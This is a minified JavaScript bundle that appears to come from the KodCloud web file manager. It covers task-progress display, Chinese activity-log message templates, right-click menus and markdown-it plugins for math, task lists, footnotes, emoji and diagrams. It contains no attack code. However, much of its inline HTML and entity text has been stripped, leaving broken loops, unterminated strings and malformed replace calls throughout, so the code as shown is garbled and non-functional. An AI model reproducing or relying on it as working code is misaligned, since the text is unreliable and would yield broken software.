em").html(e.viewNeedTime),t.find(".kui-process").attr("title",e.viewPercent),t.find(".kui-process-use").css({"width":e.viewPercent}),t.find(".kui-process-info").html(e.viewPercentInfo),t.find(".item.title").html(e.viewTitle)},"itemParse":function(e){e.viewUserInfo||(e.viewUserInfo=r["default"].userInfo(e.userInfo)),e.viewTitle=e.title||LNG[e.type]||e.type||e.id,e.copyMoveList&&(e.viewTitle+=e.copyMoveList.listNumber+LNG["common.items"]),e.viewStartTime=dateFormat(e.timeStart,"m-d H:i:s"),e.viewPercent=(100*e.taskPercent).toFixed(1)+"%",e.viewUseTime=timeShow(e.timeUse),e.viewNeedTime=timeShow(e.timeNeed);var t=e.taskFinished+"/"+e.taskTotal;if(e.viewPercentInfo=""+t+" "+LNG["common.item"]+"",e.viewCurrent="",e.currentTitle&&(e.currentFileName=e.currentTitle+" "+(e.currentFileName||"")),e.currentFileName){var i="";e.currentFileSize&&(i=pathTools.fileSize(e.currentFileFinished)+"/"+pathTools.fileSize(e.currentFileSize)),i=i?"("+i+")":"",e.viewCurrent+=""+e.currentFileName+i+""}if(e.sizeTotal){var n=pathTools.fileSize(e.sizeTotal),a=pathTools.fileSize(e.sizeFinished);e.viewCurrent+=""+a+"/"+n+""}return e.viewCurrent||(e.viewCurrent=e.viewStartTime),e},"bindDialogEvent":function(e){var n=this;e.delegate("[data-action]","click",function(e){var t=$(this).attr("data-action"),i=$(this).parents(".list-item").attr("data-id");switch(t){case"stop":n.model.stop({"id":i},n.reloadView);break;case"start":n.model.start({"id":i},n.reloadView);break;case"kill":$.dialog.confirm(LNG["common.task.removeTips"],function(){n.model.kill({"id":i},n.reloadView)});break;case"killAll":$.dialog.confirm(LNG["common.task.killAllTips"],function(){n.model.killAll(!1,n.reloadView)})}})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(3);t["default"]={"dataParseMain":function(e,t){for(var i=[],n=0;n"+a.length+LNG["common.item"]+"
    "):r+="
    "+i+"
    ")}),r&&4'+r+'
    \n\t\t\t\t\t\t\t
    '+LNG["common.showMore"]+'
    \n\t\t\t\t\t\t\t"),{"title":this.dataParseHtmlItem(n[0],e,a),"content":r}}},"dataParseHtmlItem":function(e,t,i){if(_.includes(e,"{{file}}")){var n=t.sourceInfo||t.desc&&t.desc.name||t.pathName||t.path||LNG["common.unknow"]+LNG["common.file"],a=this.makeHtmlFile(n);e=e.replace(/{{file}}/g,a)}if(_.includes(e,"{{parent}}")){n=t.parentInfo||LNG["common.unknow"]+LNG["common.folder"],a=this.makeHtmlFile(n);e=e.replace(/{{parent}}/g,a)}if(_.includes(e,"{{count}}")){a=''+i.length+"";e=e.replace(/{{count}}/g,a)}if(_.includes(e,"{{desc.from}}")){n=t.desc.from||t.desc.fromName||LNG["common.unknow"];if(_.isString(t.desc.from))a=htmlEncode(t.desc.from);else a=this.makeHtmlFile(n);e=e.replace(/{{desc\.from}}/g,a)}if(_.includes(e,"{{desc.to}}")){n=t.desc.to||t.desc.toName||LNG["common.unknow"];if(_.isString(t.desc.to))a=htmlEncode(t.desc.to);else a=this.makeHtmlFile(n);e=e.replace(/{{desc\.to}}/g,a)}if(_.includes(e,"{{desc.sourceID}}")){n=t.desc.name||t.desc.sourceID,a=this.makeHtmlFile(n);e=e.replace(/{{desc\.sourceID}}/g,a)}if(_.includes(e,"{{desc.content}}")){var r=_.get(t,"desc.content")||_.get(t,"desc.name");if(!r)return"";a=''+htmlEncode(r)+"";e=e.replace(/{{desc\.content}}/g,a)}return e=this.descEditEventParse(t,e)},"descEditEventParse":function(e,t){if("edit"!=e.type)return t;if(!_.get(e,"desc.ua"))return t;var i=" ";(_.includes(G.lang,"zh")||_.includes(G.lang,"ja")||_.includes(G.lang,"ko"))&&(i="");var n=e.desc,a=LNG["common.online"];return n.ua=n.ua.toLowerCase(),n.action=n.action.toLowerCase(),_.includes(n.action,"plugin.webdav")&&(a="webdav"),_.includes(n.ua,", kodcloud")&&_.includes(n.action,"fileupload")&&(a=LNG["explorer.toolbar.client"]),a=a+i+LNG["common.edit"],_.includes(n.action,"pathpast")&&(a=LNG["explorer.past"]+i+LNG["common.cover"]),"explorer.history.rollback"==n.action.toLowerCase()&&(a=LNG["explorer.history.changeEvent"]),_.includes(n.ua,"mozilla/")&&_.includes(n.action,"fileupload")&&(a=LNG["explorer.history.uploadNew"]),t+'('+a+")"},"makeHtmlFile":function(e){if(!e||_.isString(e))return'['+(e||"")+"]";var t=htmlEncode(e.pathDisplay||e.name),i=htmlEncode(e.name);return"\n\t\t\t'+(0,n.pathIcon)(e)+'\n '+i+"\n "}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]={"descMap":function(){var i={"create-mkdir":"新建了该文件夹","create-mkfile":"新建了该文件","create-upload":"上传了该文件","create-copy":"粘贴创建了该文件","create-mkdir-current":"在此新建了文件夹{{file}}","create-mkfile-current":"在此新建了文件{{file}}","create-upload-current":"在此上传了{{file}}","create-copy-current":"粘贴了{{file}}到此处","create-mkdir-item":"在{{parent}}新建了文件夹{{file}}","create-mkfile-item":"在{{parent}}新建了文件{{file}}","create-upload-item":"在{{parent}}上传了{{file}}","create-copy-item":"粘贴{{file}}到{{parent}}","create-mkdir-more":["在此新建了{{count}}个文件夹","{{file}}",1],"create-mkfile-more":["在此新建了{{count}}个文件","{{file}}",1],"create-upload-more":["在此上传了上传了{{count}}个文件","{{file}}",1],"create-copy-more":["粘贴了{{count}}个文件到此处","{{file}}",1],"create-mkdir-more-at":["在{{parent}}新建了{{count}}个文件夹","{{file}}",1],"create-mkfile-more-at":["在{{parent}}新建了{{count}}个文件","{{file}}",1],"create-upload-more-at":["在{{parent}}上传了{{count}}个文件","{{file}}",1],"create-copy-more-at":["粘贴了{{count}}个文档到{{parent}}","{{file}}",1],"edit":"编辑更新了该文件","edit-item":"编辑更新了{{file}}","edit-more":"编辑更新了该文件{{count}}次","edit-more-at":["在{{parent}}编辑更新了{{count}}个文件","{{file}}",1],"move":"将该文档从{{desc.from}}移动到{{desc.to}}","move-item":"将{{file}}从{{desc.from}}移动到{{desc.to}}","move-current":"将{{file}}从{{desc.from}}移动到此处","move-more":["移动了{{count}}个文档","将{{file}}从{{desc.from}}移动到{{desc.to}}",1],"moveOut":"从此处移走了{{desc.sourceID}}","moveOut-item":"从{{file}}移走了{{desc.sourceID}}","moveOut-more":["移走了{{count}}个文档","从{{file}}移走了{{desc.sourceID}}",1],"share-shareLinkAdd":"将该文档创建了外链分享","share-shareLinkAdd-item":"将{{file}}创建了外链分享","share-shareLinkAdd-more":["创建了{{count}}个外链分享","{{file}}",1],"share-shareToAdd":"将该文档开启了协作分享","share-shareToAdd-item":"将{{file}}开启了协作分享","share-shareToAdd-more":["创建了{{count}}个协作分享","{{file}}",1],"share-shareLinkRemove":"关闭了该文档的外链分享","share-shareLinkRemove-item":"关闭了{{file}}的外链分享","share-shareLinkRemove-more":["关闭{{count}}个外链分享","{{file}}",1],"share-shareToRemove":"关闭了该文档的协作分享","share-shareToRemove-item":"关闭了{{file}}的协作分享","share-shareToRemove-more":["关闭{{count}}个协作分享","{{file}}",1],"share-shareEdit":"编辑了该文档的分享","share-shareEdit-item":"编辑了{{file}}的分享","share-shareEdit-more":["编辑了{{count}}个文档分享","{{file}}",1],"rename":["重命名了该文档","{{desc.from}}{{desc.to}}"],"rename-item":["重命名了{{file}}","{{desc.from}}{{desc.to}}"],"rename-more":["重命名了{{count}}个文档","{{file}}:{{desc.from}}{{desc.to}}",1],"recycle-toRecycle":"将该文档移到了回收站","recycle-toRecycle-current":"在此处将{{file}}移到了回收站","recycle-toRecycle-item":"在{{parent}}将{{file}}移到了回收站","recycle-toRecycle-more":["将{{count}}个文档移到了回收站","{{file}}",1],"recycle-toRecycle-more-at":["在{{parent}}将{{count}}个文档移到了回收站","{{file}}",1],"recycle-restore":"将该文档从回收站还原","recycle-restore-item":"将{{file}}从回收站还原","recycle-restore-more":["将{{count}}个文档从回收站还原","{{file}}",1],"remove":"删除了{{desc.content}}","remove-current":"在此处删除了{{desc.content}}","remove-more":["在此处删除了{{count}}个文档","{{desc.content}}",1],"remove-item":"在{{parent}}删除了{{desc.content}}","remove-more-at":["在{{parent}}删除了{{count}}个文档","{{desc.content}}",1],"addDesc":["修改了该文档描述","{{desc.content}}"],"addDesc-item":["修改了{{file}}文档描述","{{desc.content}}"],"addDesc-more":["修改了{{count}}个文档描述","{{file}}{{desc.content}}",1],"addComment":["在该文档发表了评论","{{desc.content}}"],"addComment-item":["在{{file}}发表了评论","{{desc.content}}",1],"addComment-more":["在{{file}}发表了{{count}}条评论","{{file}}{{desc.content}}",1]},n={"create-mkdir":"新建文件夹","create-mkfile":"新建文件","create-upload":"上传文件","create-copy":"粘贴文件","edit":"更新文件","move":"移动文件","moveOut":"移走文件","share-shareLinkAdd":"创建了外链分享","share-shareToAdd":"开启了协作分享","share-shareLinkRemove":"关闭的外链分享","share-shareToRemove":"关闭协作分享","share-shareEdit":"编辑分享","rename":"重命名","recycle-toRecycle":"移到回收站","recycle-restore":"从回收站还原","remove":"删除","addDesc":"修改描述","addComment":"发表评论"};return this._each(i,function(e,t){if(_.isString(e)&&(i[t]=this.lang("log-event-"+t,e)),_.isArray(e)){i[t][0]=this.lang("log-event-"+t,e[0]);_.includes(["move-more","moveOut-more"],t)&&(i[t][1]=this.lang("log-event-"+t+"-desc",e[1]))}}),this._each(n,function(e,t){n[t]=LNG["log-type-"+t]}),{"map":i,"descTitle":n}}}},function(e,t,i){"use strict";var r=i(0);e.exports=function(e){e=e||{};var i="",t=r.$each,n=e.pathInfo,a=(e.item,e.index,r.$escape);return i+=''}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(80));t["default"]=n["default"].extend({"init":function(){this.$el=this.$root,this.$main=this.$(".ztree"),this.initChildren(),this.bindDrag(),this.drop.initDragParent=_.bind(this.initDragTreeParent,this)},"bindDrag":function(){this.$main.drag({"delegate":"a.tree-node","mustMove":!0,"cursor":"default","start":_.bind(this.dragStart,this),"move":_.bind(this.dragMove,this),"end":_.bind(this.dragEnd,this)})},"getSelect":function(e){this.$select=$();var t=this,i=$.targetParent(e,".tree-node"),n=i.data("treeNode");if(i&&n){var a=this.root.tree,r=this.root.pathAction;a.triggerEventStop(),a.zTree.selectNode(n),$(document).one("mouseup",function(){t._delay(function(){a.triggerEventStart()},10)}),r.auth.canCopyCute(i)&&(i.data("fileItem",n),this.$select=i)}},"fileDragRender":function(e){var t=$.targetParent(e,".tree-node");this.$drag=$("\n\t\t\t
    \n\t\t\t\t
  • \n\t\t\t
    ").appendTo(t.parent()),this.$dragList=this.$select.clone(),this.$dragList.appendTo(this.$drag.find(".file-draging"))},"initDragTreeParent":function(){var e=this.$select.data("treeNode").getParentNode();this.drop.dragPath=e.path}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},n=i(341),a=d(i(81)),o=d(i(342)),s=d(i(107)),l=d(i(345)),c=d(i(346));function d(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(e){this.menuItems=(0,a["default"])(),this.menuList=(0,n.menuList)(),this.menuTypeOption=n.menuTypeOption,this._delay(function(){this.root.trigger("rightMenu.initBefore",this),this.triggerPlugins=new s["default"]({"parent":this}),this.initAll(),e.disableToolbar||(this.toolbarMenu=new o["default"]({"parent":this}))})},"initAll":function(){this.bindEvent(),this.bindNotify(),this.bindExplorer(),this.setListType(),this.setListSort(),this.setIconSize(),this.newFile=new c["default"]({"parent":this}),this.hotkey=new l["default"]({"parent":this})},"targetData":function(e){var t=this.root.pathAction;e.$target.hasClass("tree-node")&&(t=this.root.tree.treeAction);var i=t.makeParamSelect();return _.isEmpty(i)?{}:i[0]},"bindEvent":function(){var e=this.root.$(".frame-main");e.exists()||(e=this.$el),$('
    \n\t\t\t
    ').appendTo(e),this.$menuTarget=e.find(".rightmenu-target"),this.$menuAt=e.find(".rightmenu-content-list"),this.$menuAt.delegate(".context-menu-list","click",function(e){return stopPP(e)});var t=[".file-continer .file .item-menu",".ztree .tree-node .menu-item",".menu-left-click",".menu-trigger",".menu-toolbar-button"].join(",");$.contextMenu.clickBind(this.$root,t);var i=this,n=function n(e,t){i.root.rootAppSelf(t.$target)&&(i.trigger(e,t,i),i.trigger(e+"@"+t.menuType,t,i))};Events.bind("rightMenu.beforeShow",function(e){n("rightMenu.beforeShow",e)},this),Events.bind("rightMenu.beforeHide",function(e){n("rightMenu.beforeHide",e)},this)},"bindNotify":function(){this.listenTo(this.root.select,{"select.change":function(e,t){if(0!=t.length&&(t.filter("[data-menu-more]").each(function(){$(this).removeClass($(this).attr("data-menu-more")),$(this).addClass($(this).attr("data-menu"))}),1').appendTo(this.$menuTarget);var n=function n(e){_.each(e,function(e,t){"object"==(void 0===e?"undefined":r(e))&&(e.className=(e.className||"")+" "+t,e.icon=(e.icon||"")+" small",e.items&&n(e.items))})};n(t);var a={"zIndex":9999,"selector":this.$root.selector+" ."+e,"callback":i||_.bind(this.menuCallback,this),"className":e+" animated","appendTo":this.$menuAt,"items":t};t&&!$.isEmptyObject(t)||(a.items={"":{}}),$.contextMenu(a)},"menuItemsParse":function(e,t){t=void 0===t?{}:t;var i=this.menuItems;if(_.isString(e))return _.get(i,e);for(var n=0;n=t["bigx"]-5?"bigx":"default";for(var a in t){var r=t[a];if(r-5<=i&&i<=r+5){n=a;break}}$.contextMenu.selectItem(this.$root,".icon-size-"+n)},"onRemove":function(){$(this.$menuAt).children().each(function(){var e=$(this).data("contextMenu");e&&$.contextMenu("destroy",e.selector),$(this).remove()})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.listenTo(this.parent,["rightMenu.beforeShow@.menu-path-guest-file","rightMenu.beforeShow@.menu-path-file","rightMenu.beforeShow@.menu-path-mini-file","rightMenu.beforeShow@.menu-simple-file","rightMenu.beforeShow@.menu-fav-path-file","rightMenu.beforeShow@.menu-share-root-file"].join(" "),this.menuFileShow),this.menuShareBind(),this.adminBindOpenWith()},"menuFileShow":function(e){var t=this.parent.targetData(e);this.imageBackgroundCheck(e,t),this.menuOpenWith(e,t)},"menuShareBind":function(){var n=this;this.listenTo(this.parent,"rightMenu.beforeShow@.menu-share-path",function(e){var t=n.parent.targetData(e),i=e.$menu.find(".share-open-window");"1"==_.get(t,"sourceInfo.shareInfo.isLink")?i.removeClass("disabled"):i.addClass("disabled")},this)},"hideClass":"hidden","imageBackgroundCheck":function(e,t){var i=e.$menu.find(".set-background");_.includes(["jpg","jpeg","png"],t.ext)?i.removeClass(this.hideClass):i.addClass(this.hideClass)},"menuOpenWith":function(e,t){var i=e.$menu.find(".open-with.context-menu-submenu");if(kodApp.getApp(t.ext)){var n=this.getAppMenu(t);this.root.pathAction.auth.canRead(e.$target)||(n.download&&(n.download.className+=" disabled disable"),n.browserOpen&&(n.browserOpen.className+=" disabled disable")),i.removeClass(this.hideClass),i.find(".context-menu-item").not(".open-with-first").remove(),$.contextMenu.menuAdd(n,e,".open-with-first")}else i.addClass(this.hideClass)},"adminBindOpenWith":function(){if(this.userModel.isRoot()){var r=this,e=["rightMenu.beforeShow@.menu-path-guest-folder","rightMenu.beforeShow@.menu-path-guest-file","rightMenu.beforeShow@.menu-path-guest-folder-tree","rightMenu.beforeShow@.menu-path-guest-file-tree"].join(" ");this.listenTo(this.parent,e,function(e){var t=r.parent.targetData(e),n=_.get(G,"kod.WEB_ROOT"),a=t.path||"";if(e.$menu.find(".adminOpenWith").remove(),n&&0==a.indexOf(n)){var i={"app":"adminOpenWith","name":LNG["explorer.openIE"]+" (admin)","icon":"ri-compass-line-3","callback":function(e,t){var i=$.parseUrl().origin+"/";i+=a.substr(n.length),i=urlEncode(i).replace(/%3A/g,":").replace(/%2F/g,"/").replace(/%3F/g,"?"),window.open(i)}};$.contextMenu.menuAdd({"adminOpenWith":i},e,".open")}})}},"getAppMenu":function(n){var a=this.root.kodApp,e=a.getApp(n.ext)||[],t=a.getApp("")||[];e=_.concat(e,[{"name":""}],t);var r={};return this._each(e,function(i){if(""==i.name||i.hidden)return r["step-line"]="-------";"textView"==i.name&&r["aceEditor"]||(r[i.name]={"app":i.name,"name":i.title,"className":i.className,"icon":i.icon,"callback":function(e,t){kodApp.$openTarget=t.$target,a.appCallback(n.path,n.ext,n.name,i)}})}),r}})},,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=g(i(158)),a=g(i(159)),r=g(i(160)),o=g(i(161)),s=g(i(162)),l=g(i(163)),c=g(i(164)),d=g(i(165)),h=g(i(166)),u=g(i(167)),f=g(i(168)),p=(g(i(169)),g(i(170))),w=g(i(171)),m=g(i(173)),x=(g(i(174)),g(i(175))),v=g(i(177));function g(e){return e&&e.__esModule?e:{"default":e}}var b=[[n["default"],{}],[a["default"],{}],[r["default"],{"enabled":!0,"label":!0}],[o["default"],{}],[s["default"],{}],[d["default"],{}],[h["default"],{}],[u["default"],{}],[f["default"],{}],[p["default"],{}],[w["default"]],[m["default"],{"attrs":{"target":"_blank"}}],[x["default"]],[v["default"]]],C=(0,c["default"])();_.each(C,function(e){b.push([l["default"],e.type,e.parse])}),t["default"]=b},function(e,t,i){"use strict";function o(e,t){var i,n,a=e.posMax,r=!0,o=!0;return i=0/g,">").replace(/"/g,""").replace(/'/g,"'")}Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function d(e,t){t=t||{};var i=function i(e){t.displayMode=!1;try{return katex.renderToString(e,t)}catch(error){return t.throwOnError&&console.log(error),""+c(e)+""}},n=function n(e,t){return i(e[t].content)},a=function a(e){t.displayMode=!0;try{return"

    "+katex.renderToString(e,t)+"

    "}catch(error){return t.throwOnError&&console.log(error),"

    "+c(e)+"

    "}},r=function r(e,t){return a(e[t].content)+"\n"};e.inline.ruler.after("escape","math_inline",s),e.block.ruler.after("blockquote","math_block",l,{"alt":["paragraph","reference","blockquote","list"]}),e.renderer.rules.math_inline=n,e.renderer.rules.math_block=r}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(e){e.inline.ruler.before("emphasis","mark",function l(e,t){var i,n,a,r,o=e.pos,s=e.src.charCodeAt(o);if(t)return!1;if(61!==s)return!1;if(a=(n=e.scanDelims(e.pos,!0)).length,r=String.fromCharCode(s),a<2)return!1;for(a%2&&(e.push("text","",0).content=r,a--),i=0;i':0!==e.content.indexOf("[x] ")&&0!==e.content.indexOf("[X] ")||(i.content='');return i}(e,t)),e.children[1].content=e.children[1].content.slice(3),e.content=e.content.slice(3),s)if(l){e.children.pop();var i="task-item-"+Math.ceil(1e7*Math.random()-1e3);e.children[0].content=e.children[0].content.slice(0,-1)+' id="'+i+'">',e.children.push(function r(e,t,i){var n=new i("html_inline","",0);return n.content='",n.attrs=[{"for":t}],n}(e.content,i,t))}else e.children.unshift(function n(e){var t=new e("html_inline","",0);return t.content="",t}(t))}t.exports=function(e,t){t&&(c=!t.enabled,s=!!t.label,l=!!t.labelAfter),e.core.ruler.after("inline","github-task-lists",function(e){for(var t,i,n=e.tokens,a=2;a?@[\]^_`{|}~-])/g;function n(e,t){var i,n,a=e.posMax,r=e.pos;if(126!==e.src.charCodeAt(r))return!1;if(t)return!1;if(a<=r+2)return!1;for(e.pos=r+1;e.pos?@[\]^_`{|}~-])/g;function n(e,t){var i,n,a=e.posMax,r=e.pos;if(94!==e.src.charCodeAt(r))return!1;if(t)return!1;if(a<=r+2)return!1;for(e.pos=r+1;e.pos
    ":'
    '+(''+n+"")}}}},function(e,t,i){"use strict";var n,a,r,o,s="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e};o=function(){return function c(a,r,o){function s(i,e){if(!r[i]){if(!a[i]){if(l)return l(i,!0);var t=new Error("Cannot find module '"+i+"'");throw t.code="MODULE_NOT_FOUND",t}var n=r[i]={"exports":{}};a[i][0].call(n.exports,function(e){var t=a[i][1][e];return s(t||e)},n,n.exports,c,a,r,o)}return r[i].exports}for(var l=!1,e=0;e:(",">:-("],"blush":[':")',':-")'],"broken_heart":["^`|~",v=e.utils.lib.ucmicro.P.source,g=e.utils.lib.ucmicro.Z.source;e.block.ruler.before("reference","abbr_def",function h(e,t,i,n){var a,r,o,s,l,c=e.bMarks[t]+e.tShift[t],d=e.eMarks[t];if(d<=c+2)return!1;if(42!==e.src.charCodeAt(c++))return!1;if(91!==e.src.charCodeAt(c++))return!1;for(s=c;c"'=]/,a=[],r="",o="",s=!0,l=!1,c=t+i.leftDelimiter.length;c=a+1:e.length>=a}(e.substring(t,i+l.rightDelimiter.length))}},i.removeDelimiter=function(e,t){var i=o(t.leftDelimiter),n=o(t.rightDelimiter),a=new RegExp("[ \\n]?"+i+"[^"+i+n+"]+"+n+"$"),r=e.search(a);return-1!==r?e.slice(0,r):e},i.escapeRegExp=o,i.getMatchingOpeningToken=function(e,t){if("softbreak"===e[t].type)return!1;if(0===e[t].nesting)return e[t];for(var i=e[t].level,n=e[t].type.replace("_close","_open");0<=t;--t)if(e[t].type===n&&e[t].level===i)return e[t]};var n=/[&<>"]/,a=/[&<>"]/g,r={"&":"&","<":"<",">":">",'"':"""};function s(e){return r[e]}i.escapeHtml=function(e){return n.test(e)?e.replace(a,s):e}},{}]},{},[1])(1)},"object"===s(t)&&void 0!==e?e.exports=o():(a=[],(r="function"==typeof(n=o)?n.apply(t,a):n)===undefined||(e.exports=r))},function(e,t,i){"use strict";var n,a,r,o,s="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e};o=function(){return function c(a,r,o){function s(t,e){if(!r[t]){if(!a[t]){if(l)return l(t,!0);var i=new Error("Cannot find module '"+t+"'");throw i.code="MODULE_NOT_FOUND",i}var n=r[t]={"exports":{}};a[t][0].call(n.exports,function(e){return s(a[t][1][e]||e)},n,n.exports,c,a,r,o)}return r[t].exports}for(var l=!1,e=0;e'+o+""}function o(e,t,i){return(i.xhtmlOut?'
    \n':'
    \n')+'
    \n
      \n'}function s(){return"
    \n
    \n"}function h(e,t,i,n,a){var r=a.rules.footnote_anchor_name(e,t,i,n,a);return 0'}function u(){return"\n"}function p(e,t,i,n,a){var r=a.rules.footnote_anchor_name(e,t,i,n,a);return 0↩︎'}t.exports=function(e){var l=e.helpers.parseLinkLabel,x=e.utils.isSpace;e.renderer.rules.footnote_ref=r,e.renderer.rules.footnote_block_open=o,e.renderer.rules.footnote_block_close=s,e.renderer.rules.footnote_open=h,e.renderer.rules.footnote_close=u,e.renderer.rules.footnote_anchor=p,e.renderer.rules.footnote_caption=a,e.renderer.rules.footnote_anchor_name=n,e.block.ruler.before("reference","footnote_def",function v(e,t,i,n){var a,r,o,s,l,c,d,h,u,f,p,w=e.bMarks[t]+e.tShift[t],m=e.eMarks[t];if(m",e.delimiters.push({"marker":i.content,"jump":0,"token":e.tokens.length-1,"level":e.level,"end":-1,"open":!0,"close":!1});else{if(60!==r||45!==e.src.charCodeAt(a+1))return!1;e.scanDelims(e.pos,!0),(i=e.push("text","",0)).content="<-",e.delimiters.push({"marker":i.content,"jump":0,"token":e.tokens.length-1,"level":e.level,"end":-1,"open":!1,"close":!0})}return e.pos+=2,!0}),e.inline.ruler2.before("emphasis","centertext",function l(e){var t,i,n,a=!1,r=!1,o=e.delimiters,s=e.delimiters.length;for(t=0;t"===(i=o[t]).marker?a=!0:"<-"===i.marker&&(r=!0);if(a&&r)for(t=0;t"===(i=o[t]).marker?(a=!0,(n=e.tokens[i.token]).type="centertext_open",n.tag="div",n.nesting=1,n.markup="->",n.content="",n.attrs=[["class","text-align-center"]]):"<-"===i.marker&&a&&((n=e.tokens[i.token]).type="centertext_close",n.tag="div",n.nesting=-1,n.markup="<-",n.content="")})}},{}]},{},[1])(1)},"object"===s(t)&&void 0!==e?e.exports=o():(a=[],(r="function"==typeof(n=o)?n.apply(t,a):n)===undefined||(e.exports=r))},function(t,i,n){"use strict";var O=function O(){},k=n(172);t.exports=function(t,i){t.inline.ruler.before("emphasis","image",function n(D,y){return function(t,i){var n,a,r,o,s,l,c,d,h,u,f,p,w="",m="",x="",v=t.pos,g=t.posMax;if(33!==t.src.charCodeAt(t.pos))return!1;if(91!==t.src.charCodeAt(t.pos+1))return!1;if(s=t.pos+2,(o=D.helpers.parseLinkLabel(t,t.pos+1,!1))<0)return!1;if((l=o+1)":"info","?>":"help","@>":"default"},a=function a(e,t){var i=e.src.substr(0,2);return!(t||!_.includes(_.keys(n),i))},r=function r(e,t){if(!a(e,t))return!1;if(2<=e.pos)return!1;var i=e.push("blockLabelOpen","blockLabel",0);return i.markup=e.src.substr(0,2),i.content="",i.nesting=1,e.pos+=2,!0},o=function o(e,t){if(!a(e,t))return!1;var i=e.tokens[0];return"?"==i.content&&"blockLabelOpen"!=i.type&&(i.content=""),e.push("blockLabelClose","blockLabel",-1),!0};e.inline.ruler.before("emphasis","blockLabel",r),e.inline.ruler2.before("emphasis","blockLabel",o),e.renderer.rules.blockLabelOpen=function(e,t){return'
    '},e.renderer.rules.blockLabelClose=function(e,t){return"
    "}}},function(t,i,n){"use strict";Object.defineProperty(i,"__esModule",{"value":!0}),i["default"]=function(t){t.renderer.rules.fence.bind(t.renderer.rules);var m=function m(t){return _.some(["sequenceDiagram","graph","gantt","statement","gitGraph","classDiagram","stateDiagram","stateDiagram-v2","pie","journey","erDiagram"],function(e){return _.startsWith(t,e)})},x=function x(e){return _.includes(e,"->>")?e:_.includes(e,"-)")?e:e=(e=(e=(e=(e=(e=(e=e.replace(/-\>/g,"->>").replace(/\<-/g,"-)")).replace("@startuml","").replace("@enduml","")).replace(/\nskinparam.*/g,"")).replace(/\nautonumber.*/g,"")).replace(/\nheader\s.*/g,"")).replace(/\nfooter\s.*/g,"")).replace(/\nnewpage\s.*/g,"")};t.renderer.rules.fence=function(t,i,n,a,r){var o=t[i],s=o.info,l=o.content;if(_.includes(["math","latex","katex"],s))try{return"

    "+(u=katex.renderToString(l))+"

    "}catch(e){}if(_.includes(["flowchart","flow"],s)){var c=UUID(),d=$("
    ").appendTo("body"),h={"line-width":1.5,"font-color":"#333","line-color":"#666","element-color":"#666"};try{flowchart.parse(l).drawSVG(c,h);var u=d.html();return d.remove(),'
    '+u+"
    "}catch(e){d.remove(),console.info(e)}}if(_.includes(["abc","music"],s)){c=UUID(),d=$("
    ").appendTo("body"),h={"line-width":1.5,"font-color":"#333","line-color":"#666","element-color":"#666"};try{ABCJS.renderAbc(c,l);u=d.html();return d.remove(),'
    '+u+"
    "}catch(e){d.remove(),console.info(e)}}if(_.includes(["plantuml"],s)||_.startsWith(l,"@startuml"))return'
    ';var f=m(s),p=m(l);if(f||p||!("seq"==s||"sequence"==s)||(f=!0,s="sequenceDiagram",l=l.replace(/\\n/g,"\\n")),"sequenceDiagram"==s&&(l=x(l)),f||p){var w=l;f&&!p&&(w=s+"\n"+l);c=UUID();try{return'
    '+(u=mermaid.mermaidAPI.render(c,w))+"
    "}catch(e){$("#d"+c).remove(),console.info(e)}}return(0,v["default"])(o.content,s)}};var v=function a(e){return e&&e.__esModule?e:{"default":e}}(n(176))},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(e,t){var i="";i=t&&hljs.getLanguage(t)?hljs.highlight(t,e).value:hljs.highlightAuto(e).value;var n="
    • ",a="\n
    ",r="\n
  • ";return e.split("\n").length<5?"
    "+i+"
    ":'
    '+(i=n+(i=(i=i.replace(/\n/g,r)).substr(0,i.length-r.length))+a)+"
    "}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(e){e.inline.ruler.after("emphasis","toc",function(e,t){if(t)return!1;var i=/^@?(\[toc\])|(\[\[toc\]\])/im.exec(e.src);return!((i=i?i.filter(function(e){return e}):[]).length<1)&&(e.push("toc_open","toc",1).markup=i[0],e.pos=e.pos+i[0].length,!0)}),e.renderer.rules.toc_open=function(e,t){return'
    '}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(e){var t=".markdown-preview-image-show";if(!(i=$(t)).exists()){var i=$('
    ').appendTo("body");$.addStyle("\n\t\t.markdown-preview-image-show,.markdown-preview img,.markdown-preview .markdown-flow{cursor:pointer;}\n\t\t.markdown-preview-image-show .label{color: #444;}\n\t\t.markdown-preview-image-show{\n\t\t\tposition:fixed;left:0;top:0;right:0;bottom:0;z-index:99999;\n\t\t\tbackground:rgba(255,255,255,0.95);\n\t\t}\n\t\t.markdown-preview-image-show img,.markdown-preview-image-show svg{padding: 20px 5%;margin-top: 5%;}\n\t\t.markdown-preview-image-show img{box-shadow:0 0 50px rgba(85, 85, 85, 0.2);}\n\t\t.markdown-preview-image-show .continer{\n\t\t\tposition: absolute;margin: auto;\n\t\t\ttop: 0;left: 0;bottom: 0;right: 0;\n\t\t\twidth:100%;height:100%;text-align:center;overflow: auto;\n\t\t}"),i.bind("click",function(){i.fadeOut(100,function(){i.find(".continer").html(""),i.addClass("hidden")})})}e.delegate(".markdown-flow 